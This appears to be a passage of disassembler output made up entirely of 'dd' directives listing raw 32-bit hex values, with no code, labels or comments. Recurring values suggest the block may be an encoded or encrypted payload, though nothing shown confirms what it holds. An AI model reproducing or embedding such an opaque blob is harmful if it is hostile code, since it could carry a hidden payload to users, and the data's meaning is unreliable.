		dd 66443210h, 4AB47E7h,	9B94F47Eh, 348E3D31h, 0D6AEB275h
		dd 6460D1ACh, 8C795321h, 697570A1h, 66443397h, 0D3DDC715h
		dd 601E2EF0h, 0DE0DBFE0h, 9A423D2Fh, 0E32DE2EAh, 66113214h
		dd 0CB0DBBE0h, 8F423D01h, 6622321Fh, 4F5A206h, 301A66EDh
		dd 0E38294BEh, 602D16E8h, 0D8775262h, 92025F69h, 8F245274h
		dd 66223201h, 0CBCF511Fh, 5F618596h, 506ECE9Ah,	3982FD2h
		dd 0E5A206FEh, 0E95375h, 6A44ED94h, 0CE815A74h,	6FF8C182h
		dd 32883215h, 9C39AACBh, 9A7A9A48h, 7C7087EAh, 6161341Ah
		dd 2F443215h, 2451FE0Dh, 0EBE9559Fh, 69B28A90h,	6656DB13h
		dd 0AB5F3215h, 9BED4A79h, 36907F9Dh, 909FBABEh,	0C6D16E19h
		dd 0EC1EE2EAh, 66883200h, 664BB51Ah, 6CCB3215h,	41113215h
		dd 2E16AFD5h, 0AFE78A9h, 4252AAh, 670CC9Eh, 668834FDh
		dd 13A7DB15h, 3C9A2865h, 661138FCh, 0C89D3E15h,	0DBC0240Fh
		dd 73A2BB2h, 2394BB74h,	698E3D15h, 66443F9Eh, 0ED2D5215h
		dd 66113215h, 0BD7EB373h, 0E3825332h, 602D16E8h, 6619DB47h
		dd 71663215h, 0BC4512BCh, 714A3590h, 8F9BEF24h,	66883213h
		dd 0C066D1F5h, 0D3DDD431h, 601E2EF0h, 6F61C775h, 0BC443215h
		dd 0EBEAAEAFh, 9BF706E5h, 0DE0DBF74h, 8F423D2Fh, 6622321Eh
		dd 8A3FCE66h, 19BE2088h, 992803FCh, 662ADBC5h, 0A75C3215h
		dd 565A422h, 0E3CD0FBEh, 602D1010h, 661120FCh, 0C49FF315h
		dd 782978B4h, 0F8DFD0DFh, 0ACDF833Dh, 0A06E7DA7h, 6960CF90h
		dd 0ED76413h, 0B20E5F2Ch, 668839FCh, 87119C15h,	0E8C28449h
		dd 8F36D666h, 4A2987EAh, 77AD341Ah, 0E9223215h,	0BD04D15Ch
		dd 4D8BF218h, 95410B5Ah, 0B8D7EC6Eh, 8C905475h,	1131DEDDh
		dd 73BC38Bh, 14C5B798h,	713407h, 79584ADh, 0EE4BE2EAh
		dd 66223214h, 9B94BBE9h, 698E3D3Dh, 66442396h, 8FDB5215h
		dd 6611321Ch, 5E8C2757h, 9DC84BD8h, 0E3E45362h,	601E16E8h
		dd 6A053D52h, 69443215h, 6622349Eh, 669F3D15h, 0E883215h
		dd 0E798226Fh, 6634BC1Ah, 77F83215h, 80883215h,	75060050h
		dd 1EFC8602h, 0E5E3ECFBh
		dd 7A238647h, 7AA187EAh, 0E02D341Ah, 66113214h,	0DE0DBFECh
		dd 69423D2Fh, 6622399Fh, 6617DB15h, 0FEDE3215h,	0C91D6F90h
		dd 6637BC1Ah, 76F83215h, 0C1883215h, 0A6CA9D92h, 0D1198AFh
		dd 0C0624291h, 99B1A4BEh, 0E3CDCAC5h, 602D3270h, 9B94F4EDh
		dd 218E3D31h, 0D3A65AEDh, 69DBB81Ah, 66113494h,	81025215h
		dd 9925CA9Eh, 693ED7A0h, 8E905213h, 122720FAh, 61261FADh
		dd 0E3AF5335h, 601E08ADh, 9F58CDE0h, 0C2D0B79Ch, 0A1DB3403h
		dd 693D2390h, 66884A13h, 6656DB15h, 0C7503215h,	52855BEFh
		dd 0D300077Fh, 63CAE865h, 24B9EE57h, 4B608F96h,	6988341Ah
		dd 66530B91h, 60CBCA15h, 74113215h, 9C7ACD37h, 9BC1F4C9h
		dd 2A243D31h, 6602DB75h, 3AD73215h, 8291C2C1h, 5E628C84h
		dd 91690Ch, 0EC464316h,	97F33D8Eh, 7ACB5A74h, 0ED1EEBCFh
		dd 66883214h, 83F1CDE9h, 93243D09h, 5CA9B798h, 6E8341Ah
		dd 6644B21Ah, 84A23215h, 0E21E53C9h, 66883215h,	9F94CD74h
		dd 0C2A2B79Ch, 713403h,	0B803EB9Eh, 9BC1F474h, 2A243D31h
		dd 66113CFCh, 69A48015h, 1CC8900Dh, 0C1E2E3D2h,	6C5CAF7h
		dd 25D1E094h, 96C55120h, 51C2F067h, 0B8DF5A74h,	9974EF61h
		dd 6958D7A0h, 662BDB13h, 523E3215h, 1ED6E092h, 0EBA51A7Bh
		dd 69188A90h, 6D9B3D13h, 8F883215h, 66443213h, 43F03E79h
		dd 0B6EEA6BFh, 0BC3F3D75h, 664421FDh, 0F3634815h, 0DAA07447h
		dd 6D5DA308h, 366FA408h, 0C6832A31h, 661126FDh,	0FC8A715h
		dd 536692C7h, 292483C5h, 0E2AF5FFFh, 0AF216CB0h, 71F6953h
		dd 0C2A6B79Ch, 0E71E3403h, 66883214h, 9BC1F4E9h, 2A243D31h
		dd 6EDB875h, 76616942h,	33443215h, 0BF2F5849h, 4088A9FCh
		dd 3D4847A6h, 7B3BF4Ch,	0E41D5A74h, 99E88594h, 6994D7A0h
		dd 0E7145213h, 431114D4h, 8F706837h, 6688321Ah,	0DAE65A5Dh
		dd 13012CF1h, 0CDD117A5h, 0EB6CF28Dh, 697E8A90h, 0B6DDCA13h
		dd 661126FCh, 6F701F15h, 49FDF4C8h, 6B70E006h, 0FFEA7CC4h
		dd 0D2698FD3h, 0EEC1BB25h, 8F2424B1h, 6611321Bh, 1B643C74h
		dd 361D26F3h, 0F4BDB737h, 0E3D7E76Ah, 608716E8h, 0E44B5259h
		dd 66223215h, 66113FFCh, 0B2932615h, 7B6E1FF4h,	6833846Ah
		dd 0E70D5C9h, 0D5A7720Dh, 664434FCh, 0B555C715h, 99D76FB5h
		dd 6994D7A0h, 72C93D13h, 8F223215h, 6611321Ah, 4F5EB143h
		dd 603FC9F5h, 4FCCEF74h, 0EB5956BDh, 69B28A90h,	664EDB13h
		dd 0F9CB3215h, 0E0081FC3h, 0E6EC5200h, 0E24BE2EAh, 66223219h
		dd 6617BA1Ah, 0EF873215h, 66443215h, 0C2AAB79Ch, 713403h
		dd 0EFC7D394h, 664BB31Ah, 6FCA3215h, 48113215h,	0A06FA791h
		dd 1587C876h, 0E3E4534Ch, 601E16E8h, 72E0CE53h,	93FEEC13h
		dd 7AC787EAh, 77F8341Ah, 1E883215h, 0F9D76EB9h,	0FEA9C9C5h
		dd 6ADB5AB5h, 9D8C7CC5h, 5CFCB798h, 8F42341Ah, 66113219h
		dd 96860FCAh, 0E24550DAh, 20294B3h, 661135FCh, 0C102B015h
		dd 8D870039h, 8FF2CD74h, 66113205h, 0E2F3D30Fh,	143E1B95h
		dd 0DF10A06Dh, 84DFAB66h, 0C218B79Ch, 77AD3403h, 0C0223215h
		dd 76D00EFBh, 1221C186h, 535A6C55h, 5E79C3F1h, 42ECB7D3h
		dd 8FCF341Ah, 66443205h, 0B8D2C5D0h, 32A51749h,	6E8A846Bh
		dd 9E89836Ch, 0BA32487Dh, 0E31E5294h, 66883205h, 664439FCh
		dd 0F099A615h, 31097DCh, 0E2ED9F35h, 0C2DEDB94h, 99436E7Ah
		dd 690DD7A0h, 6684DB13h, 1A253215h, 6F565250h, 85D32664h
		dd 0E305F1D1h, 604B08ADh, 662FB71Ah, 6EF83215h,	39883215h
		dd 0A7F867DEh, 931B7085h, 0EFE4E2EAh, 702CAA90h, 6642DB13h
		dd 654F3215h, 0F2F0B13h, 4275B7D3h, 6903341Ah, 6622339Bh
		dd 0CA79CB15h, 6967B59Bh, 6644399Ah, 0D12D5215h, 0DAC2B3C3h
		dd 7D7B87Fh, 7AA187EAh,	9EDE341Ah, 5CA9B798h, 6161341Ah
		dd 52443215h, 37BDA89Dh, 0B6EEC1CBh, 66883EFCh,	0F1918715h
		dd 141AA1B2h, 0E24411ABh, 0FA0DBBBFh, 64224B1h,	66223BFCh
		dd 0EE3A9C15h, 0B5CB334Eh, 0D94BEC39h, 0E3E453EEh, 601E16E8h
		dd 0B4E0CE52h, 8F90A8B2h, 66223219h, 18924CFEh,	817145FEh
		dd 903055AFh, 7AC787EAh, 61F8341Ah, 0F6883215h,	889875C8h
		dd 0E3AF5F4Fh, 601E08ADh, 668CBD1Ah, 0ED243215h, 0B6DD53E5h
		dd 0C694BBE0h, 698E24B1h, 66443592h, 67AA3D15h,	9F113215h
		dd 4275B7D3h, 9A03341Ah, 0A9A95475h, 7EBB973h, 0A7B1367Dh
		dd 992552AFh, 693ED7A0h, 1EA65213h, 668823FDh, 0C2ABFC15h
		dd 0A432D89Dh, 9F2CF292h, 0AB6582D8h, 7245EC9h,	0E3AF534Ch
		dd 601E08ADh, 668838FCh, 0B5C64715h, 33330D88h,	9935246Fh
		dd 6699DBC5h, 44E3215h,	7693607Bh, 152147B6h, 9A2D00F3h
		dd 0EF793B0Dh, 70869690h, 0E5E9CA13h, 69892FA8h, 0E34B3213h
		dd 6622324Fh, 9B94F4ECh, 218E3D31h, 664FB21Ah, 423215h
		dd 0BEE7AEh, 315EE294h,	4B235A74h, 99DAD267h, 690DD7A0h
		dd 0E7EE5213h, 74D83C3h, 5C9AB798h, 71341Ah, 0B62CAAh
		dd 0B40BDA94h, 6F2CD74h, 0A7A85445h, 7716A0Bh, 0C2ECB79Ch
		dd 0DF423403h, 25581016h, 5DC3D8ACh, 0E3825323h, 602D16E8h
		dd 425252h, 3855B1AEh, 8186B373h, 0D74A533Ah, 69F1BA6h
		dd 66043D75h, 8E443215h, 66223218h, 5BE87F6Eh, 979CECADh
		dd 6F2B72FEh, 6436ABFh,	7F9B373h, 99E9537Fh, 6958D7A0h
		dd 69CB5213h, 13113215h, 0DC4D6644h, 3817E668h,	8B9F281Ah
		dd 0EB700E2Dh, 69B28A90h, 0B6BBCA13h, 0CAA7BBE9h, 61724B1h
		dd 668CB01Ah, 0DF223215h, 87A8D393h, 9B94F474h,	258E3D31h
		dd 69AD5275h, 0BC223215h, 647324D5h, 85341DE9h,	2CE2D20Bh
		dd 0E92DC959h, 66113215h, 0C1E05374h, 6984445Fh, 66223399h
		dd 0D3EECE15h, 60872EF0h, 66443BFCh, 59ED3115h,	16EF9AC6h
		dd 0E305F138h, 604B08ADh, 663BB51Ah, 8E713215h,	6688321Ah
		dd 0E2CA99ABh, 39C6D960h, 72628C57h, 3E6CBF61h,	69256C47h
		dd 6622339Ah, 0B6EECE15h, 0D60DBBE0h, 694224B1h, 66222F97h
		dd 0BC905215h, 63BD71BEh, 664422FCh, 0A2D57B15h, 0ECC59C72h
		dd 0B164DACCh, 2F006988h, 0E3E4530Fh, 601E16E8h, 6699DB59h
		dd 174A3215h, 0C0093E06h, 1C73B86h, 4D6D9115h, 61D41ECh
		dd 0A5A95443h, 8D79534Bh, 9F735479h, 7C2587EAh,	42341Ah
		dd 3AAF394h, 669CBC1Ah,	69AD3215h, 0BA223215h, 0CFD18136h
		dd 618A9DDEh, 27CAECC7h, 0EB431DB4h, 692B8A90h,	6686DB13h
		dd 8E243215h, 16D82C48h, 52F5107Ch, 0E3024A2Fh,	77ADE2EAh
		dd 0F6223215h, 2C5B5EA2h, 34B81C4Dh, 6B701FC6h,	55249F66h
		dd 0C355B79Ch, 36E83403h, 1D6B44h, 0A043C29Eh, 6935CF90h
		dd 0E5877613h, 66443214h, 0E8775AE0h, 718966h, 67BAFC94h
		dd 6647BA1Ah, 0A9A23215h, 0D3EE53D0h, 60872EF0h, 6642DB75h
		dd 0BA3215h, 1F14CDFEh,	746B973h, 5CFCB798h, 99DE341Ah
		dd 0E398CBC5h, 609E96A1h, 95FF5475h, 0E72D5326h, 6611321Dh
		dd 668AB01Ah, 7243215h,	42DFB7D3h, 652341Ah, 0E187E89Eh
		dd 66443213h, 6622B61Ah, 0E703215h, 0DA065CE9h,	664CDA75h
		dd 0EA0A3215h, 9E42FCEDh, 7E8FAEAh, 0D3BB534Dh,	602D2EF0h
		dd 661FDB75h, 0E6DE3215h, 28D5E6DEh, 768242AEh,	3C5220EDh
		dd 0EBE959A6h, 697E8A90h, 6624DB13h, 9213215h, 495FCC6Ch
		dd 0E74BE2EAh, 66223214h, 0DE94BBECh, 698E24B1h, 66443898h
		dd 6627DB15h, 1A723215h
		dd 0A042B25Ah, 6960CF90h, 0EDE6113h, 0A0010CBFh, 668826FCh
		dd 0EE3F0715h, 6E3B459Eh, 757096A3h, 0EF658629h, 0F2604E9Fh
		dd 8397CD94h, 6173D09h,	0DE0DBF74h, 8F423D2Fh, 6622321Eh
		dd 1962E5C7h, 0D0E84519h, 99A963D9h, 0E3ABCBC5h, 600796A9h
		dd 668837FCh, 57FFA715h, 0DBA10CBBh, 601E2C08h,	0C50C3D15h
		dd 9A443216h, 42DFB7D3h, 6957341Ah, 6688389Ah, 0A0C45215h
		dd 87A3545Bh, 0E70EA51h, 9C1EFC24h, 60CE3D75h, 69223215h
		dd 66113290h, 0CB648B15h, 692547A0h, 66223399h,	0D3EECE15h
		dd 60872EF0h, 0DEC1BFEDh, 69243D2Fh, 66112697h,	6687DB15h
		dd 3AE23215h, 5A2D2278h, 37C4C585h, 73F42321h, 694CD0Bh
		dd 6624B61Ah, 0E41E3215h, 66883215h, 97B6B373h,	0E3AB5356h
		dd 6007970Dh, 6160CB75h, 9E443215h, 91643231h, 899B882Eh
		dd 0E34E534Ch, 604B16E8h, 6628DB53h, 56853215h,	0FCA9464Dh
		dd 5952A51Bh, 0C118E47Dh, 6A963DE9h, 69883215h,	6644349Fh
		dd 66A43D15h, 99113215h, 6994D7A0h, 8CC45213h, 6627DB51h
		dd 1C513215h, 78FD646h,	5CFCB798h, 6FCB341Ah, 0B4113215h
		dd 814729D8h, 0A585D3B5h, 0EA2DE2EAh, 66113210h, 0A1373D75h
		dd 4EC1BB74h, 62424B0h,	94B3C494h, 0EDEE0620h, 0E38253D7h
		dd 602D16E8h, 6679CA53h, 8F1ACEB1h, 66443213h, 6614FFDAh
		dd 0D3EECD8Dh, 60872EF0h, 0E3C9CBE0h, 602D08ADh, 661137FCh
		dd 0A82BA115h, 6CAD0791h, 43223215h, 1C2D2B46h,	9BC0A702h
		dd 6994CDE9h, 66223890h, 0A1905215h, 7CD3D19Bh,	0EF256944h
		dd 70871E90h, 0AA9B5213h, 668820FDh, 2772FE15h,	0F7E192ACh
		dd 8344F816h, 0C25CC2F8h, 8EFFE2CAh, 6622321Fh,	0FBEB8F7Ch
		dd 0A7CF3A95h, 3C1E61FCh, 662EDB74h, 95C13215h,	8402DD41h
		dd 0E7556128h, 0E3E4507Eh, 601E16E8h, 6685DB53h, 0B8703215h
		dd 20E412EDh, 5A511078h, 0E0DA5C6h, 90907D7Fh, 6634B01Ah
		dd 77F83215h, 0D6883215h, 3C19FE77h, 47BB2EAFh,	0DB481910h
		dd 680841FFh, 664CB51Ah, 69423215h, 6611329Bh, 0D3775315h
		dd 604B2EF0h, 662226FCh, 0D7DE2715h, 8B50745Eh,	46340930h
		dd 0AA1E39DBh, 9BF5C3E2h, 6DA5275h, 0EB256C74h,	69188A90h
		dd 0E7775213h, 711EADFh, 24E2EAh, 8EDDD494h, 5694BB74h
		dd 68E24B0h, 7BC08A7h, 9BA7F4E9h, 20173D31h, 8C095475h
		dd 74AD8AACh, 2D223215h, 0BC2868C7h, 0D545C898h, 0D67F57DFh
		dd 64D0E55Eh, 817953F9h, 691CFF45h, 66443396h, 0D3DDC715h
		dd 601E2EF0h, 0DE0DBFE9h, 6423D2Fh, 0DF4460EDh,	7494309h
		dd 0ED87E2EAh, 66443219h, 6624BA1Ah, 0ED1E3215h, 66883215h
		dd 0C358B79Ch, 9E423403h, 661122FDh, 0D250F515h, 0A793024Ch
		dd 1A08D00Ch, 0B2D02A51h, 9C035412h, 0E382534Ch, 602D16E8h
		dd 6617DB53h, 0E783215h, 122DA8EFh, 12195AECh, 8FE98337h
		dd 66883218h, 7F713706h, 0FE3045EBh, 0D7151E94h, 833DCD87h
		dd 6423D09h, 0D92DC99Eh, 0E39C53DBh, 608708ADh,	66443FFCh
		dd 2ADD6E15h, 233DB8Bh,	0CBEB5D6Fh, 0B6BB7A63h,	46A7BBE0h
		dd 61724B0h, 6970B973h,	66443091h, 7D9B915h, 9B94F4EDh
		dd 208E3D31h, 664438FCh, 0C4FE6915h, 7D24BDFDh,	0E1730C2h
		dd 0B93DD8F8h, 6632DB75h, 2C23215h, 0CEAC52C0h,	1B07990Ch
		dd 0CBB6A2B6h, 0ED777784h, 0D37753CAh, 604B2EF0h, 66223EFCh
		dd 2C6A0D15h, 0A90FB59Ah, 0A62AB286h, 0DEA7BF4Fh, 69173D2Fh
		dd 66883D90h, 664EDB15h, 456D3215h, 9AE908A1h, 0C3104468h
		dd 76ADE2EAh, 5E223215h, 0C676041Fh, 0ECE4C574h, 453AB9F4h
		dd 0EF299E80h, 70B41690h, 0EDEE5213h, 664BDBDBh, 1E7F3215h
		dd 0B1677072h, 6DCFA0E2h, 0CCF26432h, 0DBA153D2h, 601E3308h
		dd 0C30D3D15h, 9A443215h, 42DFB7D3h, 6942341Ah,	66883E9Eh
		dd 63AD5215h, 4F223215h, 1BFE2FCFh, 86D65A74h, 0E14BFCABh
		dd 66223202h, 84008B75h, 6C60087Bh, 0C4443215h,	4A99E882h
		dd 5D1E57F3h, 99E968C7h, 6958D7A0h, 69CB5213h, 91113215h
		dd 3056589Ah, 327B885Ah, 55E94F4Eh, 0EC1EDF2Fh,	66883217h
		dd 0EB255375h, 69188A90h, 6619DB13h, 1A9A3215h,	4495AB79h
		dd 0B6DD8729h, 661126FCh, 4FD92215h, 1947C68Ch,	521B5E09h
		dd 0BBCD1E2Ch, 77B03A2Eh, 0A6C1BBEDh, 692424B1h, 66113394h
		dd 0DDE8CA15h, 59739689h, 7DAB973h, 42ECB7D3h, 6CF341Ah
		dd 0DE96B373h, 0FBE2B3F4h, 76B3E10h, 0D7D6B57Dh, 6656DBD2h
		dd 0F2EA3215h, 0BE9C1210h, 3F3E854Fh, 69B542C7h, 0E101E202h
		dd 7AF487EAh, 0E887341Ah, 66443212h, 6623BE1Ah,	0EBE43215h
		dd 69B28A90h, 664ADB13h, 92A73215h, 0B55618FAh,	0B186E8E5h
		dd 0C8028BAAh, 0EFDEE2EAh, 70B5F690h, 0DB0BCE13h, 604B3308h
		dd 30A73D15h, 6113215h,	668822FCh, 1E62CE15h, 0A6E0F973h
		dd 0FEF204FBh, 253545Dh, 0A7FB3D48h, 9BA7F474h,	21173D31h
		dd 188D5AE9h, 99BDD477h, 693ED7A0h, 0E39CC713h,	608708ADh
		dd 91FB5475h, 7F5B98Eh,	0D271E2EAh, 0AE0954F2h,	0EF2588CDh
		dd 7086FA90h, 679D3D13h, 9F883215h, 9BC1F4ECh, 25243D31h
		dd 6FE75AECh, 0E087A06Fh, 66443213h, 0D2796175h, 0D3EE5342h
		dd 60872EF0h, 0DEC1BFEDh, 8F243D2Fh, 6611321Ch,	7D515D85h
		dd 8C00546Eh, 9FF2CD61h, 0C2DDB79Ch, 6A613403h,	84443215h
		dd 8255425Dh, 866C3Eh, 0A09D2AEDh, 6960CF90h, 0EDA7113h
		dd 9A30A535h, 7108275h,	7AA187EAh, 6FCB341Ah, 8C113215h
		dd 69913641h, 0B7BFF4BAh, 5C9AB798h, 9371341Ah,	74AB973h
		dd 664435FCh, 0C6841415h, 0FC8D3EA3h, 674E2EAh,	24DEA0h
		dd 0D92DF19Eh, 0EF7053CEh, 702CE290h, 6AC23D13h, 6223215h
		dd 0BFE58C73h, 6688BB1Ah, 0E5253215h, 69232FA8h, 0E31E3213h
		dd 668832F2h, 0E382CEEDh, 602D16E8h, 0D9AA5256h, 8FE6B968h
		dd 66443205h, 2F0B530Fh, 99F4DDE0h, 892D854Ah, 32DCBD00h
		dd 0CE215A74h, 0EC71B915h, 0D37753F9h, 604B2EF0h, 0DCD0B975h
		dd 4F5B3AD3h, 0DE0DBF74h, 93423D2Fh, 0EFD7E2EAh, 70B5EA90h
		dd 0E34ECE13h, 604B16E8h, 0BBA25256h, 661CDA93h, 25593215h
		dd 5EEB1376h, 15B3A1DBh, 682EC64h, 9FE96A74h, 3D72E77Dh
		dd 662FDBF0h, 0D22B3215h, 312B1866h, 0C923039h,	99F9959Ah
		dd 690DD7A0h, 0C9385213h, 0DEC1BF74h, 69243D2Fh, 6611359Bh
		dd 670D3D15h, 9E443215h, 6630B41Ah, 0EC1E3215h,	66883219h
		dd 664435FCh, 0F7B2F415h, 0BD95D6A7h, 0EF87E2EAh, 66443218h
		dd 66223AFCh, 0D1C1B915h, 0AAB7D039h, 0B2C1BB7Dh, 692424B1h
		dd 6611389Dh, 668DDB15h, 0F1493215h, 0A01EEF1Ah, 6935CF90h
		dd 0EE877113h, 6644321Dh, 6620BD1Ah, 7713215h, 0CCBAD37Dh
		dd 6648DBFFh, 2F463215h, 5E1DA06Fh, 5946FE10h, 0D3BBC00Dh
		dd 602D2EF0h, 661137FCh, 173C0215h, 0E3C937CCh,	602D08ADh
		dd 6610BB1Ah, 99743215h, 0E3CDCBC5h, 603496C9h,	629C3D75h
		dd 883215h, 8EC64FACh, 66223213h, 0B97949C0h, 0A409B4A1h
		dd 23C09A0Dh, 0A0DA534Bh, 6935CF90h, 6707113h, 7B9B8EDh
		dd 978E057Dh, 679A3D91h, 9A883215h, 7AA187EAh, 9F42341Ah
		dd 6617B41Ah, 0E7873215h, 66443215h, 0DEA7BF74h, 6173D2Fh
		dd 0DF928B73h, 6994CD74h, 66223392h, 0E398C715h, 609E96F5h
		dd 9CF33D75h, 6624B81Ah, 0E31E3215h, 66883215h,	0DE225274h
		dd 0A0431228h, 6935CF90h
		dd 0E747D13h, 0F171A2C1h, 80CAB375h, 0E73A339Fh, 1CCB1DF3h
		dd 0E24B5323h, 6622321Eh, 0B1A63D75h, 0BF6DED94h, 99253767h
		dd 693ED7A0h, 0E39CC713h, 608708ADh, 664421FCh,	9712115h
		dd 0F11982F7h, 0B898A475h, 4D5B59E9h, 0C485325Eh, 6614DB75h
		dd 11C33215h, 0BCD34Ch,	78780ADh, 0EFE9E2EAh, 702CD690h
		dd 6641DB13h, 717E3215h, 0A0D6CB82h, 69ACCF90h,	0E44B7D13h
		dd 6622321Dh, 66943D75h, 7883215h, 84A307Dh, 67AF3DECh
		dd 93113215h, 7A6D87EAh, 0EA4B341Ah, 66223206h,	66113CFCh
		dd 0AA8E2E15h, 505EFC14h, 394E6862h, 0EB441F0Fh, 69B28A90h
		dd 664EDB13h, 59A13215h, 744AD172h, 0E93EA21h, 3524E2EAh
		dd 317B5375h, 3FE2B973h, 84375274h, 8F546225h, 66223204h
		dd 7C6918D3h, 0CB101C25h, 0BC93B198h, 0A01B56Eh, 0E3985363h
		dd 609E96FDh, 664439FCh, 567EA915h, 10DCBD65h, 803A19BDh
		dd 42B9B7D3h, 696F341Ah, 66113992h, 0D9875215h,	9D86B3DAh
		dd 7251A57h, 51687B7Dh,	0EF8752DDh, 66443213h, 6622B71Ah
		dd 0E51E3215h, 66883203h, 664423FCh, 1D4A8515h,	0C3169968h
		dd 43EB55AAh, 664A3F84h, 99433015h, 690DD7A0h, 6685DB13h
		dd 2A623215h, 22AFE682h, 9465E19Eh, 0EB29A944h,	697E8A90h
		dd 0B6DDCA13h, 6617BF1Ah, 0EDE83215h, 7B3B9DBh,	96A7BBE0h
		dd 8F1724B1h, 66883201h, 5419C636h, 0E3FADCDFh,	5BE90388h
		dd 8D27D874h, 3349423h,	42DFB7D3h, 8F5C341Ah, 6688321Bh
		dd 96785D58h, 6B606E78h, 59FA1454h, 0EFE0C54Ah,	6998C558h
		dd 66223A99h, 64913D15h, 6883215h, 83F1CD74h, 8F243D09h
		dd 66113204h, 45009160h, 4DB27AAh, 0C96AE524h, 0A820E9CCh
		dd 0DE0DBF5Fh, 9A423D2Fh, 0EFDBE2EAh, 70B5DE90h, 7F013D13h
		dd 8F443215h, 66223201h, 858F286h, 9DE8C3Ah, 4D52D9DAh
		dd 0B78925C5h, 0FB22B6E9h, 4275B7D3h, 8F11341Ah, 66223213h
		dd 6F12CC18h, 0E704AF3h, 0FA5F1F22h, 8397CDE9h,	6173D09h
		dd 36578D1Ah, 9323EC94h, 77C6A6Bh, 5CA9B798h, 9970341Ah
		dd 0E3CDCBC5h, 603496E1h, 9B94F4ECh, 258E3D31h,	9F9CB975h
		dd 96085A74h, 0E81EE0C0h, 6688320Eh, 66CC3D75h,	8E223215h
		dd 66113218h, 8941A23Bh, 0C63B857Ch, 5D263C5Ch,	99706B64h
		dd 6994D7A0h, 6650DB13h, 0FF063215h, 922CAFCCh,	0FDADBF52h
		dd 8185AFC0h, 5FB68E27h, 0E39C2259h, 608708ADh,	9394CDECh
		dd 0C2DAB79Ch, 69713403h, 0E6DAF1AAh, 71B61F2h,	42DFB7D3h
		dd 8F43341Ah, 6688321Eh, 47857DD6h, 44411CC8h, 6C24433h
		dd 6C51B373h, 76AC6175h, 3C223215h, 8F98986Dh, 0EF7B41BEh
		dd 0D9626F55h, 3E64A52Bh, 8C79534Dh, 67570A1h, 7DC08A73h
		dd 7D2851Ah, 7AF487EAh,	0DEE8341Ah, 4F5892AEh, 662239FCh
		dd 126ED915h, 0DA0125DBh, 67A9AEA0h, 0DEA7BF74h, 69173D2Fh
		dd 66883594h, 0BD5215h,	73CE2AEh, 0EFEDE2EAh, 699C9F90h
		dd 24CA13h, 0F600DA94h,	89828873h, 9B0DF474h, 21423D31h
		dd 3FBB5AECh, 0E41ED08Dh, 66883205h, 664439FCh,	881AFD15h
		dd 0F5E698Bh, 2D4442C2h, 7AA187EAh, 0E742341Ah,	9E7E06E6h
		dd 6D62B325h, 76577C7h,	243D8A75h, 0EB702941h, 69B28A90h
		dd 6650DB13h, 0B6633215h, 4B07A7B8h, 0CA412D4Ch, 800684Ah
		dd 78CD1A69h, 0B6EE9A41h, 9A0DBBE9h, 9E4224B1h,	42DFB7D3h
		dd 656341Ah, 746B975h, 69A9B245h, 0A44A534Eh, 8FA0CF75h
		dd 6688321Ah, 3113F672h, 73999B05h, 0AB5C3556h,	995F2BA9h
		dd 6958D7A0h, 7DAE3D13h, 69113215h, 66882799h, 6654DB15h
		dd 0C2B73215h, 645966EBh, 0DB0D8ACFh, 0A2B44F6Bh, 0E3AF946Bh
		dd 601E08ADh, 0B4373D75h, 99B853ECh, 2A9452C5h,	661123FCh
		dd 6DB19F15h, 0E200DA74h, 679F14AEh, 935EA558h,	0EFE92F00h
		dd 70E13290h, 0E3E4CB13h, 601E16E8h, 670A3D52h,	93443215h
		dd 0C0DC267Dh, 679A3DCAh, 9F883215h, 664420FCh,	496F1B15h
		dd 311B09B2h, 0EE81AF58h, 9D68ACCCh, 99AAD0C2h,	690DD7A0h
		dd 0E7EE5213h, 30FF39FEh, 77A6A42h, 0DE94BFE9h,	68E3D2Fh
		dd 0B6BB53EDh, 94A35475h, 68F8E3C8h, 4E883215h,	0BF519BC7h
		dd 26F1A5B4h, 6DD05D2h,	0E30153A0h, 60529711h, 6ACB5375h
		dd 1F113215h, 974D4793h, 0EA7C6F5Fh, 0A0C1C47Dh, 6935CF90h
		dd 0E3876D13h, 66443212h, 6623BA1Ah, 0EE83215h,	0F8D8C07Dh
		dd 63C13D75h, 0D9223215h, 3E4E146Fh, 668BBA1Ah,	0ED223215h
		dd 0D3DD53CFh, 601E2EF0h, 0A0095475h, 0EB253D1Eh, 69188A90h
		dd 661DDB13h, 0E47F3215h, 56372858h, 0E56783F4h, 0B6EEB35Ah
		dd 6E0DBBE9h, 694224B0h, 6622209Ah, 661CDB15h, 31BA3215h
		dd 0DEF48090h, 0FA3DF4CEh, 0A01AF42Ah, 69ACCF90h, 0EB17D13h
		dd 0A1DE492Ah, 63973D75h, 883215h, 8780FD94h, 7DAB973h
		dd 7AF487EAh, 0EB71341Ah, 697E8A90h, 6FA03D13h,	6113215h
		dd 0FA6D31AAh, 7255255h, 74CBE2EAh, 0F4113215h,	0DBB45830h
		dd 0B762E53Ah, 13FB3384h, 88BCB93Bh, 0E301CBECh, 60529721h
		dd 0E3E4CBE0h, 601E16E8h, 0E7DCE52h, 9C1F5C59h,	8397CDE0h
		dd 69173D09h, 66883F9Eh, 0E44B5215h, 66223215h,	4BE3B373h
		dd 0E30553A1h, 604B08ADh, 9AF2CDE9h, 0C329B79Ch, 6C613403h
		dd 0BE443215h, 73FFEB7h, 0C1D4C9DFh, 669ADB84h,	44993215h
		dd 0FA116745h, 0FD0352E6h, 0AD70CD7Dh, 0A528CC79h, 42DFB7D3h
		dd 9356341Ah, 60ACFF7Dh, 6AC93DD6h, 69223215h, 6611349Bh
		dd 660C3D15h, 6443215h,	662222FCh, 0BA9ADD15h, 4C1E0867h
		dd 0F8A575FDh, 92A5C471h, 56B08AF4h, 99E93DFEh,	6958D7A0h
		dd 6625DB13h, 0AA6D3215h, 0A31C3AA2h, 0DEC1BFEFh, 6243D2Fh
		dd 75718B73h, 6684BF1Ah, 61AD3215h, 0A9223215h,	0A71D2371h
		dd 99E985D5h, 0E3CDC7C5h, 60349729h, 9B94F4E0h,	398E3D31h
		dd 6885AEDh, 642E6AEh, 34705375h, 668838FCh, 4C1D6C15h
		dd 83B8FC94h, 39E043A9h, 97095274h, 6414F158h, 8397CD74h
		dd 8F173D09h, 66883219h, 7FFA9A86h, 0EAB4B664h,	0C219559Bh
		dd 5C30B798h, 99B8341Ah, 0EE2D52C5h, 66113215h,	3D58844h
		dd 71F6829h, 0C32EB79Ch, 6AF83403h, 0C9883215h,	11766ADBh
		dd 47DB2BA3h, 64103F0h,	8E3BD59Fh, 9BC1F474h, 39243D31h
		dd 6610B51Ah, 0E703215h, 0F8AD665Bh, 8397CDE0h,	8F173D09h
		dd 6688321Dh, 301CD052h, 54FC9C04h, 5CA9B798h, 69E8341Ah
